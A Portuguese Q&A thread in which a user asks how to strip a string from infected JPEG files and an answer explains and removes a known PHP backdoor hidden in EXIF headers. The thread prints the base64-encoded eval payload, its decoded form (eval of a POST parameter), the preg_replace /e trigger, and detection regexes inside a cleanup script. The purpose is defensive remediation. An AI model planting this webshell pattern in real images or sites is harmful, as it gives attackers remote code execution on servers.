Como remover string de arquivos JPEG usando find?

1

Eu tenho muitos arquivos em muitos catálogos de mídia com alguma string e desejo remover essa string.

A string está contida em arquivos JPEG e se parece com:

eval(base64_decode('aWYgKGlzc2V0KCRfUE9TVFsienoxIl0pKSB7ZXZhbChzdHJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30='));

A parte codificada em base64 após a decodificação é:

if (isset($_POST["zz1"])) {eval(stripslashes($_POST["zz1"]));}

Como fazer isso?

    
por Nips 31.10.2013 / 10:02

1 resposta

2

Explicação

O que você descreveu é uma parte de um backdoor PHP conhecido. O código PHP principal é obscurecido pela codificação base64 para que não seja tão facilmente detectável. O código que você mostrou normalmente está oculto no cabeçalho Exif Model e outra parte importante (PCRE /.*/e ) está normalmente no cabeçalho Make .

O código do Exif é executado por outra parte do backdoor - chamando preg_replace($exif['Make'],$exif['Model'],''); nos dados Exif da imagem. Para obter detalhes, consulte, por exemplo, Malware oculto dentro de cabeçalhos JPIF EXIF ou Escondendo o código backdoor do WebShell em arquivos de imagem .

Solução

Você pode corrigir as imagens infectadas removendo os cabeçalhos relevantes do Exif. Primeiro, verifique se as strings problemáticas estão nos cabeçalhos Make e Model :

exiftool file.jpg

Depois, você pode remover os cabeçalhos:

find /directory/with/images -iname '*.jpg' -exec exiftools -Make= -Model= {} +

Este código removerá os dois cabeçalhos de todos os arquivos .jpg , independentemente do conteúdo dos cabeçalhos. Se você quiser remover apenas os cabeçalhos infectados, o código seria consideravelmente mais complicado. O script para fazer isso está abaixo no final desta resposta.

Após verificar se os resultados estão corretos, você pode remover os backups criados por exiftool :

find /directory/with/images -iname '*.jpg_original' -delete

Tenha em mente que a outra parte do backdoor também deve ser removida. Está no código PHP no servidor e normalmente se parece com:

$exif = exif_read_data('/path/to/an/image.jpg');
preg_replace($exif['Make'],$exif['Model'],'');

Script para remoção mais precisa

O script a seguir detecta em quais cabeçalhos do Exif há o código de malware. Armazenar o código em um arquivo, por exemplo rm-jpg-backdoor , em seguida, ative a execução: chmod a+x rm-jpg-backdoor . Ao chamar o script, você pode passar diretórios de arquivos para limpar como argumentos. Exemplo: ./rm-jpg-backdoor /directory/with/images

#!/bin/sh

suff=jpg    # problematic file suffix

# extended regex signatures of malware code
badregex1='eval\( *base64_decode\( *'\'
badregex2='/.+/e'

script="$0" # this script name for recursion

for f in "$@" ; do
    if test -d "$f" ; then
        echo "=== recursing directory $f"
        find "$f" -type f -iname "*.$suff" -exec "$script" {} +
    elif test -f "$f" ; then
        echo "-- cleaning file $f"
        hdr1="$( exiftool "$f" | grep -E ".+ +: +$badregex1" | sed -r 's/^([a-zA-Z /]*[a-zA-Z]) +: +.*$//' )"
        test -n "$hdr1" && { echo "removing $hdr1" ; exiftool "-$hdr1=" "$f" ; }
        hdr2="$( exiftool "$f" | grep -E ".+ +: +$badregex2" | sed -r 's/^([a-zA-Z /]*[a-zA-Z]) +: +.*$//' )"
        test -n "$hdr2" && { echo "removing $hdr2" ; exiftool "-$hdr2=" "$f" ; }
    fi
done
    
por 31.10.2013 / 13:56